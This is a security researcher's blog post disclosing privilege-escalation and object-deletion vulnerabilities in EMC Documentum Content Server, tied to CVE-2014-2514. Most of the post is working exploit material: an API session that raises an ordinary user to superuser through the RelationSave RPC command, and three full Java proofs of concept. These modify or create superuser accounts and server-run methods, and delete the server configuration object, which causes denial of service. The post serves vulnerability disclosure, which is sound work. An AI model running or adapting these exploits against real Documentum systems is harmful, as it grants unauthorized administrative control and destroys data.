Is it possible to compromise Documentum by deleting object? Part I

On April 2014 I discovered a vulnerability in Documentum Content Server which allows any user to gain superuser privileges, that vulnerability was based on a fact that Content Server uses different RPC commands to save objects of different types:

API> retrieve,c,dm_user where user_name=USER
...
1101ffd780001911
API> set,c,l,user_privileges
SET> 16
...
OK
— Here client (DFC) sends SaveUser RPC-command
— and Content Server handles it properly – user does not have
— privileges to modify dm_user objects
API> save,c,l
...
[DM_USER_E_NEED_SU_OR_SYS_PRIV]error: 
   "The current user (op1tp1) needs to have superuser or sysadmin privilege."

API> revert,c,l,
...
OK
API> get,c,l,i_vstamp
...
20
—
— Here we send RelationSave RPC-command against dm_user object
—
API> apply,c,1101ffd780001911,RelationSave,
  OBJECT_TYPE,S,dm_user,
  IS_NEW_OBJECT,B,F,
  i_vstamp,I,20,
  user_privileges,I,16
...
q0
API> next,c,q0
...
OK
API> get,c,q0,result
...
1
API> revert,c,l,
...
OK
—
— Now attacker has superuser privileges
—
API> get,c,l,user_privileges
...
16

(Un)fortunately, at that time I already knew a lot about EMC’s “competence”, so, I did understand that the best result of providing PoC for RelationSave RPC-command would be a remedy for RelationSave RPC-command only, so, I provided a more complex PoC:

/**
 * @author Andrey B. Panfilov <andrew@panfilov.tel>
 */
public class Test {

    public static void main(String[] argv) throws Exception {
        String docbase = argv[0];
        String userName = argv[1];
        String password = argv[2];
        IDfSession session = null;
        try {
            session = new DfClient().newSession(docbase, new DfLoginInfo(
                    userName, password));

            IDfUser user = session.getUser(null);

            if (user.isSuperUser() || user.isSystemAdmin()) {
                System.out.println("User " + userName
                        + " has too wide privileges, choose different one");
                System.exit(0);
            }

            Set<String> saveMethods = new LinkedHashSet<String>();
            for (Object o : TypeMechanics.getAllInstances()) {
                saveMethods.add(((TypeMechanics) o).getSaveMethod());
            }
            for (String method : saveMethods) {
                System.out.println(method + "\tis "
                        + (checkDmMethod(session, method) ? "" : "not ")
                        + "vulnerable for dm_method objects, " + "\tis "
                        + (checkDmUser(session, method) ? "" : "not ")
                        + "vulnerable for dm_user objects");
            }
        } finally {
            if (session != null) {
                session.disconnect();
            }
        }
    }

    public static Boolean checkDmUser(IDfSession session, String method)
        throws DfException {
        try {
            session.beginTrans();
            IDfUser object = session.getUser(null);
            object.revert();
            IDfList params = new DfList(new String[] {"OBJECT_TYPE",
                "IS_NEW_OBJECT", "i_vstamp", "user_privileges", });
            IDfList types = new DfList(new String[] {"S", "B", "I", "I", });
            IDfList values = new DfList(new String[] {"dm_user", "F",
                String.valueOf(object.getVStamp()), "16" });
            session.apply(object.getObjectId().getId(), method, params, types,
                    values);
            object.revert();
            if (16 == object.getInt("user_privileges")) {
                return true;
            } else {
                return false;
            }
        } catch (DfException ex) {
            return false;
        } finally {
            session.abortTrans();
        }
    }

    public static Boolean checkDmMethod(IDfSession session, String method)
        throws DfException {
        try {
            session.beginTrans();
            IDfSysObject object = (IDfSysObject) session
                    .getObjectByQualification("dm_method");
            object.revert();
            String methodVerb = String.valueOf(System.currentTimeMillis());
            IDfList params = new DfList(new String[] {"OBJECT_TYPE",
                "IS_NEW_OBJECT", "i_vstamp", "method_verb", });
            IDfList types = new DfList(new String[] {"S", "B", "I", "S", });
            IDfList values = new DfList(new String[] {object.getTypeName(),
                "F", String.valueOf(object.getVStamp()), methodVerb });
            session.apply(object.getObjectId().getId(), method, params, types,
                    values);
            object.revert();
            if (methodVerb.equals(object.getString("method_verb"))) {
                return true;
            } else {
                return false;
            }
        } catch (DfException ex) {
            return false;
        } finally {
            session.abortTrans();
        }
    }

}

which demonstrates vulnerability in the following RPC commands: SAVE_CONT_ATTRS, RelationSave, dmScopeConfigSave. EMC addressed that vulnerability in CVE-2014-2514, but, as expected, the remedy was incomplete and was contested immediately by the following PoC:

/**
 * @author Andrey B. Panfilov <andrew@panfilov.tel>
 */
public class Test {

    public static void main(String[] argv) throws Exception {
        String docbase = argv[0];
        String userName = argv[1];
        String password = argv[2];
        IDfSession session = null;
        try {
            session = new DfClient().newSession(docbase, new DfLoginInfo(
                    userName, password));

            IDfUser user = session.getUser(null);

            if (user.isSuperUser() || user.isSystemAdmin()) {
                System.out.println("User " + userName
                        + " has too wide privileges, choose different one");
                System.exit(0);
            }

            int len = 0;
            Set<String> saveMethods = new LinkedHashSet<String>();
            for (Object o : TypeMechanics.getAllInstances()) {
                String methodName = ((TypeMechanics) o).getSaveMethod();
                saveMethods.add(methodName);
                if (methodName.length() > len) {
                    len = methodName.length();
                }
            }

            List<String> ids = getNextIds(session, 16, saveMethods.size());
            Iterator<String> idIterator = ids.iterator();
            for (String method : saveMethods) {
                System.out.format(
                        "%-" + String.valueOf(len + 1) + "s: %s\n",
                        method,
                        "is "
                                + (checkDmMethod(session, method,
                                idIterator.next()) ? "" : "not ")
                                + "vulnerable for dm_method objects");
            }

            ids = getNextIds(session, 17, saveMethods.size());
            idIterator = ids.iterator();
            for (String method : saveMethods) {
                System.out.format(
                        "%-" + String.valueOf(len + 1) + "s: %s\n",
                        method,
                        "is "
                                + (checkDmUser(session, method,
                                idIterator.next()) ? "" : "not ")
                                + "vulnerable for dm_user objects");
            }
        } finally {
            if (session != null) {
                session.disconnect();
            }
        }
    }

    public static Boolean checkDmUser(IDfSession session, String method,
                                      String id) throws DfException {
        String userName = String.valueOf(System.currentTimeMillis());
        try {
            session.beginTrans();
            IDfList params = new DfList(new String[] {"OBJECT_TYPE",
                    "IS_NEW_OBJECT", "i_vstamp", "user_name", "user_login_name",
                    "user_os_name", "user_privileges", });
            IDfList types = new DfList(new String[] {"S", "B", "I", "S", "S",
                    "S", "I" });
            IDfList values = new DfList(new String[] {"dm_user", "T",
                    String.valueOf(0), userName, userName, userName,
                    String.valueOf(16) });
            try {
                session.apply(id, method, params, types, values);
            } catch (DfException ex) {
                // ignore
            }
            IDfUser object = (IDfUser) session.getObject(DfId.valueOf(id));
            if (userName.equals(object.getString("user_name"))) {
                return true;
            } else {
                return false;
            }
        } catch (DfException ex) {
            return false;
        } finally {
            session.abortTrans();
        }
    }

    public static Boolean checkDmMethod(IDfSession session, String method,
                                        String id) throws DfException {
        String methodVerb = String.valueOf(System.currentTimeMillis());
        try {
            session.beginTrans();
            IDfUser user = session.getUser(null);
            IDfList params = new DfList(new String[] {"OBJECT_TYPE",
                    "IS_NEW_OBJECT", "i_vstamp", "object_name", "r_object_type",
                    "acl_name", "owner_name", "owner_permit", "run_as_server",
                    "method_verb", });
            IDfList types = new DfList(new String[] {"S", "B", "I", "S", "S",
                    "S", "S", "I", "B", "S", });
            IDfList values = new DfList(new String[] {"dm_method", "T",
                    String.valueOf(0), String.valueOf(methodVerb), "dm_method",
                    user.getACLName(), user.getUserName(), String.valueOf(7), "T",
                    String.valueOf(methodVerb), });
            try {
                session.apply(id, method, params, types, values);
            } catch (DfException ex) {
                // ignore
            }
            IDfSysObject object = (IDfSysObject) session.getObject(DfId
                    .valueOf(id));
            if (methodVerb.equals(object.getString("method_verb"))) {
                return true;
            } else {
                return false;
            }
        } catch (DfException ex) {
            return false;
        } finally {
            session.abortTrans();
        }
    }

    private static List<String> getNextIds(IDfSession session, int tag,
                                           int howMany) throws DfException {
        IDfList params = new DfList(new String[] {"TAG", "HOW_MANY", });
        IDfList types = new DfList(new String[] {"I", "I", });
        IDfList values = new DfList(new String[] {String.valueOf(tag),
                String.valueOf(howMany), });
        IDfCollection collection = session.apply(DfId.DF_NULLID.getId(),
                "NEXT_ID_LIST", params, types, values);
        List<String> result = new ArrayList<String>();
        try {
            while (collection.next()) {
                for (int i = 0, n = collection.getValueCount("next_id"); i < n; i++) {
                    result.add(collection.getRepeatingString("next_id", i));
                }
            }
        } finally {
            collection.close();
        }
        return result;
    }

}

now we are creating new objects instead of modifying old ones, which reveals the same vulnerability in the following RPC commands: ACLSave, ReferenceSave, dmAuditTrailSave. According to EMC, they are going to remediate this “new” vulnerability in February patches.

Unfortunately, this story is not complete because besides the fact that we can create or modify objects we can also delete objects, and following PoC demonstrates the ability to delete arbitrary object in system using dmScopeConfigExpunge and dmDisplayConfigExpunge RPC commands:

/**
 * @author Andrey B. Panfilov <andrew@panfilov.tel>
 */
public class Test {

    public static void main(String[] argv) throws Exception {
        String docbase = argv[0];
        String userName = argv[1];
        String password = argv[2];
        IDfSession session = null;
        try {
            session = new DfClient().newSession(docbase, new DfLoginInfo(
                    userName, password));

            IDfUser user = session.getUser(null);

            if (user.isSuperUser() || user.isSystemAdmin()) {
                System.out.println("User " + userName
                        + " has too wide privileges, choose different one");
                System.exit(0);
            }

            Set<String> saveMethods = new LinkedHashSet<String>();
            for (Object o : TypeMechanics.getAllInstances()) {
                saveMethods.add(((TypeMechanics) o).getExpungeMethod());
            }
            for (String method : saveMethods) {
                System.out.println(method + "\tis "
                        + (checkDmServerConfig(session, method) ? "" : "not ")
                        + "vulnerable for dm_server_config objects");
            }
        } finally {
            if (session != null) {
                session.disconnect();
            }
        }
    }

    public static Boolean checkDmServerConfig(IDfSession session, String method)
        throws DfException {
        try {
            session.beginTrans();
            IDfPersistentObject object = (IDfPersistentObject) session
                    .getServerConfig();
            object.revert();
            IDfList params = new DfList(new String[] {"OBJECT_TYPE",
                "i_vstamp", });
            IDfList types = new DfList(new String[] {"S", "I", });
            IDfList values = new DfList(
                    new String[] {object.getType().getName(),
                        String.valueOf(object.getVStamp()), });
            try {
                session.apply(object.getObjectId().getId(), method, params,
                        types, values);
            } catch (DfException ex) {
                return false;
            }
            try {
                object.revert();
            } catch (DfException ex) {
                return true;
            }
            return false;
        } catch (DfException ex) {
            return false;
        } finally {
            session.abortTrans();
        }
    }

}

It is obvious that last PoC demonstrates deny of service, but is it possible to gain super user privileges in Documentum by deleting certain object?

3 thoughts on “Is it possible to compromise Documentum by deleting object? Part I

  1. Pingback: Is it possible to compromise Documentum by deleting object? Typical mistakes | Documentum in a (nuts)HELL
  2. Pingback: How long does it take to remediate security flaw? | Documentum in a (nuts)HELL
  3. Pingback: Trap for negligent developer | Documentum in a (nuts)HELL

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s